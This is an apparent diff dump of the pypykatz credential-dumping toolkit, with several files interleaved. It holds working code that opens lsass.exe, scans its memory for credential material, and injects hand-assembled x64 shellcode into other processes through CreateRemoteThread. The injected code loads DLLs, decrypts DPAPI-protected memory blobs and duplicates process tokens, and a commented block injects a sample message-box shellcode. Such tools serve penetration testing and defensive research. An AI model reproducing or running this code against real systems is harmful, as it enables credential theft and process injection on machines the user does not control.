336338 #self.BuildNumber = GetVersionEx().dwBuildNumber #this one doesnt work reliably on frozen binaries :(((
337339 key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\')
338340 buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber')
339341 self.BuildNumber = int(buildnumber)
340342
341 if self.lsass_process_handle is None:
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Checking Lsass.exe protection status')
346 #proc_protection_info = get_protected_process_infos(pid)
347 #protection_msg = "Protection Status: No protection"
348 #if proc_protection_info:
349 # protection_msg = f"Protection Status: {proc_protection_info['type']}"
350 # if 'signer' in proc_protection_info:
351 # protection_msg += f" ({proc_protection_info['signer']})"
352 # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg)
353 #logging.log(1, protection_msg)
354 logging.log(1, 'Opening lsass.exe')
355 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
356 if self.lsass_process_handle is None:
343 if self.process_handle is None:
344 if self.process_pid is None:
345 if self.process_name is None:
346 raise Exception('Process name or PID or opened handle must be provided')
347
348 logger.log(1, 'Searching for lsass.exe')
349 self.process_pid = pid_for_name(self.process_name)
350 logger.log(1, '%s found at PID %d' % (self.process_name, self.process_pid))
351 logger.log(1, 'Checking Lsass.exe protection status')
352 #proc_protection_info = get_protected_process_infos(pid)
353 #protection_msg = "Protection Status: No protection"
354 #if proc_protection_info:
355 # protection_msg = f"Protection Status: {proc_protection_info['type']}"
356 # if 'signer' in proc_protection_info:
357 # protection_msg += f" ({proc_protection_info['signer']})"
358 # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg)
359 #logger.log(1, protection_msg)
360 logger.log(1, 'Opening %s' % self.process_name)
361 self.process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, self.process_pid)
362 if self.process_handle is None:
357363 raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError())
358364 else:
359 logging.debug('Using pre-defined handle')
360 logging.log(1, 'Enumerating modules')
361 module_handles = EnumProcessModules(self.lsass_process_handle)
365 logger.debug('Using pre-defined handle')
366 logger.log(1, 'Enumerating modules')
367 module_handles = EnumProcessModules(self.process_handle)
362368 for module_handle in module_handles:
363369
364 module_file_path = GetModuleFileNameExW(self.lsass_process_handle, module_handle)
365 logging.log(1, module_file_path)
370 module_file_path = GetModuleFileNameExW(self.process_handle, module_handle)
371 logger.log(1, module_file_path)
366372 timestamp = 0
367373 if ntpath.basename(module_file_path).lower() == 'msv1_0.dll':
368374 timestamp = int(os.stat(module_file_path).st_ctime)
369375 self.msv_dll_timestamp = timestamp
370 modinfo = GetModuleInformation(self.lsass_process_handle, module_handle)
376 modinfo = GetModuleInformation(self.process_handle, module_handle)
371377 self.modules.append(Module.parse(module_file_path, modinfo, timestamp))
372378
373 logging.log(1, 'Found %d modules' % len(self.modules))
379 logger.log(1, 'Found %d modules' % len(self.modules))
374380
375381 current_address = sysinfo.lpMinimumApplicationAddress
376382 while current_address < sysinfo.lpMaximumApplicationAddress:
377 page_info = VirtualQueryEx(self.lsass_process_handle, current_address)
383 page_info = VirtualQueryEx(self.process_handle, current_address)
378384 self.pages.append(Page.parse(page_info))
379385
380386 current_address += page_info.RegionSize
381387
382 logging.log(1, 'Found %d pages' % len(self.pages))
388 logger.log(1, 'Found %d pages' % len(self.pages))
383389
384390
385391 for page in self.pages:
386 #self.log(str(page))
387
388392 for mod in self.modules:
389393 if mod.inrange(page.BaseAddress) == True:
390394 mod.pages.append(page)
391
392 #for mod in self.modules:
393 # self.log('%s %d' % (mod.name, len(mod.pages)))
394
395
396 def get_handler(self):
397 return self.process_handle
398
399 def get_memory(self, allocationprotect = 0x04):
400 t = []
401 for page in self.pages:
402 if page.AllocationProtect & allocationprotect:
403 t.append(page)
404 return t
405
395406 def get_buffered_reader(self):
396407 return BufferedLiveReader(self)
397408
407418 raise Exception('Could not find module! %s' % module_name)
408419 needles = []
409420 for page in mod.pages:
410 needles += page.search(pattern, self.lsass_process_handle)
421 needles += page.search(pattern, self.process_handle)
411422 if len(needles) > 0 and find_first is True:
412423 return needles
413424
414425 return needles
426
427 def search(self, pattern, allocationprotect = 0x04):
428 t = []
429 for page in self.pages:
430 if page.AllocationProtect & allocationprotect:
431 t += page.search(pattern, self.process_handle)
432 return t
415433
416434 if __name__ == '__main__':
417 logging.basicConfig(level=1)
435 logger.basicConfig(level=1)
418436 lr = LiveReader()
419437 blr = lr.get_buffered_reader()
420438
0 from .common.version import *
1 from .common.live_reader_ctypes import *
2 from pypykatz.commons.winapi.local.function_defs.kernel32 import LoadLibraryW, GetProcAddressW, VirtualProtectEx, VirtualAllocEx, VirtualFreeEx, CreateRemoteThread
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import OpenProcessToken, DuplicateTokenEx
4 from pypykatz import logger
5 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
6 import ntpath
7 import os
8 import math
9
10 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
11
12 # Token access rights
13 TOKEN_ASSIGN_PRIMARY = 0x0001
14 TOKEN_DUPLICATE = 0x0002
15 TOKEN_IMPERSONATE = 0x0004
16 TOKEN_QUERY = 0x0008
17 TOKEN_QUERY_SOURCE = 0x0010
18 TOKEN_ADJUST_PRIVILEGES = 0x0020
19 TOKEN_ADJUST_GROUPS = 0x0040
20 TOKEN_ADJUST_DEFAULT = 0x0080
21 TOKEN_ADJUST_SESSIONID = 0x0100
22 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
23 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
24 TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
25 TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
26 TOKEN_ADJUST_SESSIONID)
27
28 SecurityAnonymous = 0
29 SecurityIdentification = 1
30 SecurityImpersonation = 2
31 SecurityDelegation = 3
32
33 TokenPrimary = 1
34 TokenImpersonation = 2
35
36 #dont ask me...
37 #TOKEN_MANIP_ACCESS = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4))
38
39 class Module:
40 def __init__(self):
41 self.name = None
42 self.baseaddress = None
43 self.size = None
44 self.endaddress = None
45 self.pages = []
46
47 self.versioninfo = None
48 self.checksum = None
49 self.timestamp = None
50
51 def inrange(self, addr):
52 return self.baseaddress <= addr < self.endaddress
53
54 @staticmethod
55 def parse(name, module_info, timestamp):
56 m = Module()
57 m.name = name
58 m.baseaddress = module_info.lpBaseOfDll
59 m.size = module_info.SizeOfImage
60 m.endaddress = m.baseaddress + m.size
61
62 m.timestamp = timestamp
63
64 return m
65
66 def __str__(self):
67 return '%s %s %s %s %s' % (self.name, hex(self.baseaddress), hex(self.size), hex(self.endaddress), self.timestamp )
68
69 class Page:
70 def __init__(self):
71 self.BaseAddress = None
72 self.AllocationBase = None
73 self.AllocationProtect = None
74 self.RegionSize = None
75 self.EndAddress = None
76
77 self.data = None
78
79 @staticmethod
80 def parse(page_info):
81 p = Page()
82 p.BaseAddress = page_info.BaseAddress
83 p.AllocationBase = page_info.AllocationBase
84 p.AllocationProtect = page_info.AllocationProtect
85 p.RegionSize = min(page_info.RegionSize, 100*1024*1024) # TODO: need this currently to stop infinite search
86 p.EndAddress = page_info.BaseAddress + page_info.RegionSize
87 return p
88
89 def read_data(self, process_handle):
90 self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
91
92 def inrange(self, addr):
93 return self.BaseAddress <= addr < self.EndAddress
94
95 def search(self, pattern, process_handle):
96 if len(pattern) > self.RegionSize:
97 return []
98 data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
99 fl = []
100 offset = 0
101 while len(data) > len(pattern):
102 marker = data.find(pattern)
103 if marker == -1:
104 return fl
105 fl.append(marker + offset + self.BaseAddress)
106 data = data[marker+1:]
107
108
109 class Process:
110 def __init__(self, pid = None, name = None, access = PROCESS_ALL_ACCESS, open = True):
111 self.pid = pid
112 self.name = name
113 self.access = access
114
115
116 self.sysinfo = None
117 self.processor_architecture = None
118
119
120 self.phandle = None
121 self.modules = []
122 self.pages = []
123
124 if open is True:
125 self.open()
126
127 def open(self):
128 self.sysinfo = GetSystemInfo()
129 self.processor_architecture = PROCESSOR_ARCHITECTURE(self.sysinfo.id.w.wProcessorArchitecture)
130 if self.phandle is None:
131 if self.pid is None:
132 if self.name is None:
133 raise Exception('Process name or PID or opened handle must be provided')
134
135 self.pid = pid_for_name(self.name)
136
137 self.phandle = OpenProcess(self.access, False, self.pid)
138 if self.phandle is None:
139 raise Exception('Failed to open %s(%s) Reason: %s' % (ctypes.WinError(), self.name, self.pid))
140
141 def list_modules(self):
142 self.modules = []
143 module_handles = EnumProcessModules(self.phandle)
144 for module_handle in module_handles:
145 module_file_path = GetModuleFileNameExW(self.phandle, module_handle)
146 logger.log(1, module_file_path)
147 timestamp = 0
148 if ntpath.basename(module_file_path).lower() == 'msv1_0.dll':
149 timestamp = int(os.stat(module_file_path).st_ctime)
150 self.msv_dll_timestamp = timestamp
151 modinfo = GetModuleInformation(self.phandle, module_handle)
152 self.modules.append(Module.parse(module_file_path, modinfo, timestamp))
153 return self.modules
154
155 def list_pages(self):
156 self.pages = []
157 current_address = self.sysinfo.lpMinimumApplicationAddress
158 while current_address < self.sysinfo.lpMaximumApplicationAddress:
159 page_info = VirtualQueryEx(self.phandle, current_address)
160 self.pages.append(Page.parse(page_info))
161
162 current_address += page_info.RegionSize
163
164 def page_find_for_addr(self, addr):
165 self.list_pages()
166 selected_page = None
167 for page in self.pages:
168 if page.inrange(addr):
169 selected_page = page
170 if selected_page is None:
171 raise Exception('Address not found in pages!')
172 return selected_page
173
174 def page_change_protect(self, addr, flags = PAGE_EXECUTE_READWRITE):
175 selected_page = self.page_find_for_addr(addr)
176 return VirtualProtectEx(self.phandle, selected_page.BaseAddress, selected_page.RegionSize, flags)
177
178 def page_alloc(self, size, addr = 0, allocation_type = MEM_COMMIT | MEM_RESERVE, allocation_protect = PAGE_EXECUTE_READWRITE):
179 return VirtualAllocEx(self.phandle, lpAddress = addr, dwSize = size, flAllocationType = allocation_type, flProtect = allocation_protect)
180
181 def page_free(self, addr, free_type = MEM_RELEASE):
182 selected_page = self.page_find_for_addr(addr)
183 dwsize = 0 if free_type == MEM_RELEASE else selected_page.RegionSize
184 return VirtualFreeEx(self.phandle, selected_page.BaseAddress, dwsize, dwFreeType = free_type)
185
186 def read(self, pos, amount):
187 return ReadProcessMemory(self.phandle, pos, amount)
188
189 def write(self, pos, buffer):
190 return WriteProcessMemory(self.phandle, pos, buffer)
191
192 def create_thread(self, start_addr):
193 return CreateRemoteThread(self.phandle, None, 0, start_addr, None, 0)
194
195 def find_module_by_name(self, module_name):
196 if len(self.modules) == 0:
197 self.list_modules()
198 for module in self.modules:
199 #print(module.name)
200 if module.name.lower().find(module_name.lower()) != -1:
201 #print('Found remote DLL!')
202 return module
203
204 def get_remote_function_addr(self, dll_name, function_name, force_load = False):
205 module_handle = LoadLibraryW(dll_name)
206 #print(module_handle)
207 function_addr_total = GetProcAddressW(module_handle, function_name)
208 #print('function_addr %s' % hex(function_addr_total))
209
210 modinfo = GetModuleInformation(GetCurrentProcess(), module_handle)
211 module = Module.parse(dll_name, modinfo, None)
212 function_addr_offset = module.baseaddress - function_addr_total
213
214 #print('function_addr_offset %s' % hex(function_addr_offset))
215
216 module = self.find_module_by_name(dll_name)
217 if module is None:
218 if force_load is True:
219 self.load_dll(dll_name)
220 self.list_modules()
221 module = self.find_module_by_name(dll_name)
222 if module is None:
223 return None
224
225 return module.baseaddress - function_addr_offset
226
227 @staticmethod
228 def int_to_asm(x, bitsize = 64):
229 return x.to_bytes(bitsize//8, byteorder = 'little', signed = False)
230
231 def invoke_remote_function(self, enclave, fnc_addr, p1_addr, p2_addr, p3_addr, exitthread_addr):
232 #https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-160
233 #https://defuse.ca/online-x86-assembler.htm#disassembly
234
235
236
237 #p1_addr = 0
238 #p2_addr = 0
239 #p3_addr = 0
240 #fnc_addr = 0
241
242 #first_param
243 p1 = b'\x48\xb9' + Process.int_to_asm(p1_addr) # MOVABS RCX,<ADDR>
244 #second_param
245 p2 = b'\x48\xba' + Process.int_to_asm(p2_addr) # MOVABS RDX,<ADDR>
246 #third_param
247 p3 = b'\x49\xb8' + Process.int_to_asm(p3_addr) # MOVABS R8,<ADDR>
248 #load function address to RAX
249 fnc = b'\x48\xb8' + Process.int_to_asm(fnc_addr) # MOVABS RAX,<ADDR>
250 #CALL function address (in RAX)
251 call_fnc = b'\xff\xd0' # CALL RAX
252
253 exit_code_set = b'\x48\x89\xC1' # mov rcx, rax
254 thread_exit_fnc = b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR>
255 #CALL function address (in RAX)
256 call_thread_exit_fnc = b'\xff\xd0' # CALL RAX
257
258 code = p3 + p2 + p1 + fnc + call_fnc + exit_code_set + thread_exit_fnc + call_thread_exit_fnc
259 #print('code: %s' % code.hex())
260 self.write(enclave, code)
261 #input()
262
263 thread_handle, thread_id = self.create_thread(enclave)
264 #print(thread_handle)
265 thread_exit = GetExitCodeThread(thread_handle)
266 #print(thread_exit)
267
268 def load_dll(self, dll_path):
269 if dll_path[-1] != '\x00':
270 dll_path += '\x00'
271
272 loadlibrary_addr = self.get_remote_function_addr("Kernel32.dll", "LoadLibraryW")
273 exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread")
274
275
276 code_cave = self.page_alloc(2048)
277 dllname_page = self.page_alloc(2048)
278 self.write(dllname_page, dll_path.encode('utf-16-le'))
279
280 code = b''
281 code += b'\x48\xb9' + Process.int_to_asm(dllname_page) # MOVABS RCX,<ADDR>
282 code += b'\x48\xb8' + Process.int_to_asm(loadlibrary_addr) # MOVABS RAX,<ADDR>
283 code += b'\xff\xd0' # CALL RAX
284 code += b''
285 code += b'\x48\x89\xC1' # mov rcx, rax
286 code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR>
287 code += b'\xff\xd0' # CALL RAX
288
289 self.write(code_cave, code)
290 thread_handle, thread_id = self.create_thread(code_cave)
291 WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish...
292
293 self.page_free(code_cave)
294
295
296 def dpapi_memory_unprotect(self, protected_blob_addr, protected_blob_size, flags = 0):
297 protected_blob_size = 16 * math.ceil(protected_blob_size/16)
298 return self.dpapi_memory_unprotect_x64(protected_blob_addr, protected_blob_size, flags)
299
300 def dpapi_memory_unprotect_x64(self, protected_blob_addr, protected_blob_size, flags = 0):
301 # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectmemory
302 #CRYPTPROTECTMEMORY_SAME_PROCESS 0
303 #CRYPTPROTECTMEMORY_CROSS_PROCESS 1
304 #CRYPTPROTECTMEMORY_SAME_LOGON 2
305
306
307 #finding remote function addresses
308 protectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptProtectMemory", True)
309 unprotectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory", True)
310 exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread")
311 copymemory_addr = self.get_remote_function_addr("NtDll.dll", "RtlCopyMemory")
312 #print('unprotectmemory_addr %s' % hex(unprotectmemory_addr))
313 #print('exitthread_addr %s' % hex(exitthread_addr))
314 #print('copymemory_addr %s' % hex(copymemory_addr))
315
316
317 # allocating memory in remote process
318 code_cave = self.page_alloc(1024)
319 result_cave = self.page_alloc(protected_blob_size*10)
320 #print('code_cave : %s' % hex(code_cave))
321 #print('result_cave : %s' % hex(result_cave))
322
323
324 #building code
325 code = b''
326 code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX,<ADDR>
327 code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX,<ADDR>
328 code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8,<ADDR>
329 code += b'\x48\xb8' + Process.int_to_asm(unprotectmemory_addr) # MOVABS RAX,<ADDR>
330 code += b'\xff\xd0' # CALL RAX
331 code += b''
332 code += b'\x48\xb9' + Process.int_to_asm(result_cave) # MOVABS RCX,<ADDR>
333 code += b'\x48\xba' + Process.int_to_asm(protected_blob_addr) # MOVABS RDX,<ADDR>
334 code += b'\x49\xb8' + Process.int_to_asm(protected_blob_size) # MOVABS R8,<ADDR>
335 code += b'\x48\xb8' + Process.int_to_asm(copymemory_addr) # MOVABS RAX,<ADDR>
336 code += b'\xff\xd0' # CALL RAX
337 code += b''
338 code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX,<ADDR>
339 code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX,<ADDR>
340 code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8,<ADDR>
341 code += b'\x48\xb8' + Process.int_to_asm(protectmemory_addr) # MOVABS RAX,<ADDR>
342 code += b'\xff\xd0' # CALL RAX
343 code += b''
344 code += b'\x48\x89\xC1' # mov rcx, rax
345 code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR>
346 code += b'\xff\xd0' # CALL RAX
347
348
349 #print('code: %s' % code.hex())
350 self.write(code_cave, code)
351
352 thread_handle, thread_id = self.create_thread(code_cave)
353 WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish...
354 thread_exit_code = GetExitCodeThread(thread_handle)
355 #print(thread_exit_code)
356
357 result = self.read(result_cave, protected_blob_size)
358
359 self.page_free(code_cave)
360 self.page_free(result_cave)
361 return result
362
363 def get_process_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS):
364 return OpenProcessToken(self.phandle, dwDesiredAccess)
365
366 def duplicate_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = 2):
367 #proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
368 token_handle = OpenProcessToken(self.phandle, TOKEN_DUPLICATE)
369 cloned_token = DuplicateTokenEx(
370 token_handle,
371 dwDesiredAccess = dwDesiredAccess,
372 ImpersonationLevel = ImpersonationLevel,
373 TokenType = TokenType
374 )
375 CloseHandle(token_handle)
376 return cloned_token
377 if __name__ == '__main__':
378 calc = Process(pid=16236)
379 calc.list_pages()
380 calc.list_modules()
381 print(1)
382 """
383
384
385 data = calc.read(140705499119616, 0x100)
386 print(data)
387 new_addr = calc.page_alloc(0x1000)
388 print(new_addr)
389 data = calc.read(new_addr, 0x100)
390 print(data)
391 data = calc.write(new_addr, b'HELLO WORLD!')
392 print(data)
393 data = calc.read(new_addr, 0x100)
394 print(data)
395 x = calc.page_change_protect(new_addr, flags = PAGE_EXECUTE_READ)
396 print(x)
397 try:
398 data = calc.write(new_addr, b'A'*20)
399 print(data)
400 except:
401 print('Error but it is expected')
402 calc.page_change_protect(new_addr)
403 data = calc.write(new_addr, b'A'*20)
404 print(data)
405 data = calc.read(new_addr, 0x100)
406 print(data)
407
408 calc.page_free(new_addr)
409 ###################################################################################
410 msgbox = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +\
411 b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" + \
412 b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" + \
413 b"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" +\
414 b"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"+\
415 b"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"+\
416 b"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"+\
417 b"\x49\x0b\x31\xc0\x51\x50\xff\xd7"
418
419 new_addr = calc.page_alloc(0x1000)
420 print(hex(new_addr))
421 data = calc.write(new_addr, msgbox)
422 print(data)
423
424 data = calc.read(new_addr, 0x100)
425 print(data)
426
427 calc.create_thread(new_addr)
428
429
430 #calc.page_free(new_addr)
431 """
432 #unprotectmemory_addr = calc.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory")
433 #print('unprotectmemory_addr %s' % hex(unprotectmemory_addr))
434 #exitthread_addr = calc.get_remote_function_addr("Kernel32.dll", "ExitThread")
435 #print('exitthread_addr %s' % hex(exitthread_addr))
436 #copymemory_addr = calc.get_remote_function_addr("Kernel32.dll", "CopyMemory")
437 #print('copymemory_addr %s' % hex(exitthread_addr))
438 #cave = calc.page_alloc(0x1000)
439 #print('enclave : %s' % hex(cave))
440 #input()
441 #calc.invoke_remote_function(cave, unprotectmemory_addr, 0x0000019DE0535440, 64, 0, exitthread_addr)
442 calc.dpapi_memory_unprotect(0x0000027E24B918B0, 64, same_process = 0)
443
0 import logging
10 from typing import List
21
3 from volatility.framework import interfaces, constants, exceptions, symbols
4 from volatility.framework import renderers
5 from volatility.framework.configuration import requirements
6 from volatility.framework.objects import utility
7 from volatility.framework.symbols import intermed
8 from volatility.framework.symbols.windows import extensions
9 from volatility.framework.layers.scanners import MultiStringScanner
10 from volatility.plugins.windows import pslist, vadinfo
2 from volatility3.framework import interfaces, constants, exceptions, symbols
3 from volatility3.framework import renderers
4 from volatility3.framework.configuration import requirements
5 from volatility3.framework.objects import utility
6 from volatility3.framework.symbols import intermed
7 from volatility3.framework.symbols.windows import extensions
8 from volatility3.framework.layers.scanners import MultiStringScanner
9 from volatility3.plugins.windows import pslist, vadinfo
99 # they probably have more important things to deal with :)
1010 #
1111
12 import logging
13
14 from pypykatz.pypykatz import pypykatz
1512 from pypykatz.commons.common import *
1613
1714 from . import *
33 # Tamas Jos (@skelsec)
44 #
55
6 import io
76 import enum
8 import logging
97 from minidump.win_datatypes import DWORD, LONG, LONGLONG, \
108 POINTER, UINT8, ULONG, PWSTR, USHORT, PCHAR, SHORT, \
119 BYTE, PVOID, WORD, DWORD64
55
66 PROCESS_QUERY_INFORMATION = 0x0400
77 PROCESS_VM_READ = 0x0010
8 PROCESS_VM_WRITE = 0x0020
9 PROCESS_VM_OPERATION = 0x0008
10 PROCESS_CREATE_THREAD = 0x0002
811
912 # Standard access rights
1013 DELETE = 0x00010000
00
11 import ctypes
22 from pypykatz.commons.winapi.constants import *
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, \
4 GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, \
5 SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY, OpenSCManagerW, SC_MANAGER_ALL_ACCESS, \
6 SERVICE_DRIVER, SERVICE_WIN32, SERVICE_STATE_ALL, EnumServicesStatusW, EnumServicesStatusExW, SC_ENUM_PROCESS_INFO
47 from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW
58
69
7679 @staticmethod
7780 def RevertToSelf():
7881 return RevertToSelf()
79
82
83 @staticmethod
84 def OpenSCManager(dwDesiredAccess = SC_MANAGER_ALL_ACCESS):
85 return OpenSCManagerW(dwDesiredAccess = dwDesiredAccess)
86
87 @staticmethod
88 def EnumServicesStatus(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL):
89 return EnumServicesStatusW(hSCManager, dwServiceType = dwServiceType, dwServiceState = dwServiceState)
90
91 @staticmethod
92 def EnumServicesStatusEx(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None):
93 return EnumServicesStatusExW(hSCManager, InfoLevel = InfoLevel, dwServiceType = dwServiceType, dwServiceState = dwServiceState, pszGroupName = pszGroupName)
28212821 _OpenSCManagerW.restype = SC_HANDLE
28222822 _OpenSCManagerW.errcheck = RaiseIfZero
28232823
2824 hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess)
2825 return ServiceControlManagerHANDLE(hSCObject)
2824 hSCObject = _OpenSCManagerW(lpMachineName, lpDatabaseName, dwDesiredAccess)
2825 return hSCObject
28262826
28272827 OpenSCManager = GuessStringType(OpenSCManagerA, OpenSCManagerW)
28282828
31993199 while GetLastError() == ERROR_MORE_DATA:
32003200 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSW):
32013201 break
3202 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3202 ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value)
32033203 success = _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
32043204 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value):
32053205 raise ctypes.WinError()
32063206 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW)
32073207 for index in range(0, ServicesReturned.value):
3208 Services.append( ServiceStatusEntry(lpServicesArray[index]) )
3208 Services.append( lpServicesArray[index])
32093209 if success: break
32103210 if not success:
32113211 raise ctypes.WinError()
32513251 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSA) * ServicesReturned.value):
32523252 raise ctypes.WinError()
32533253 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSA)
3254 for index in xrange(0, ServicesReturned.value):
3254 for index in range(0, ServicesReturned.value):
32553255 Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) )
32563256 if success: break
32573257 if not success:
32783278 while GetLastError() == ERROR_MORE_DATA:
32793279 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSW):
32803280 break
3281 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3281 ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value)
32823282 success = _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
32833283 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSW) * ServicesReturned.value):
32843284 raise ctypes.WinError()
32853285 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSW)
3286 for index in xrange(0, ServicesReturned.value):
3287 Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) )
3286 for index in range(0, ServicesReturned.value):
3287 Services.append( lpServicesArray[index])
32883288 if success: break
32893289 if not success:
32903290 raise ctypes.WinError()
33263326
33273327 _RevertToSelf()
33283328
3329 def CredBackupCredentials(token, path, password = None, flags = 0):
3330 _CredBackupCredentials = windll.advapi32.CredBackupCredentials
3331 _CredBackupCredentials.argtypes = [HANDLE, LPWSTR, PVOID, DWORD, DWORD]
3332 _CredBackupCredentials.restype = bool
3333
3334 ppath = ctypes.create_unicode_buffer(path)
3335
3336 ppassword = None
3337 ppasswordlen = DWORD(0)
3338 if password is not None:
3339 ppassword = ctypes.create_string_buffer(password.encode('utf-16-le'))
3340 ppasswordlen = DWORD(len(password.encode('utf-16-le')))
3341
3342 success = _CredBackupCredentials(token, ppath, ppassword, ppasswordlen, flags)
3343
3344 if not success:
3345 raise ctypes.WinError()
3346
3347 return success
3348
3349
33293350 #==============================================================================
33303351 # This calculates the list of exported symbols.
33313352 _all = set(vars().keys()).difference(_all)
33323353 __all__ = [_x for _x in _all if not _x.startswith('_')]
33333354 __all__.sort()
3334 #==============================================================================
3355 #==============================================================================
618618 ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST),
619619 ]
620620 LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW)
621
622
623
624 # BOOL WINAPI VirtualProtectEx(
625 # __in HANDLE hProcess,
626 # __in LPVOID lpAddress,
627 # __in SIZE_T dwSize,
628 # __in DWORD flNewProtect,
629 # __out PDWORD lpflOldProtect
630 # );
631 def VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect = PAGE_EXECUTE_READWRITE):
632 _VirtualProtectEx = windll.kernel32.VirtualProtectEx
633 _VirtualProtectEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, PDWORD]
634 _VirtualProtectEx.restype = bool
635 _VirtualProtectEx.errcheck = RaiseIfZero
636
637 flOldProtect = DWORD(0)
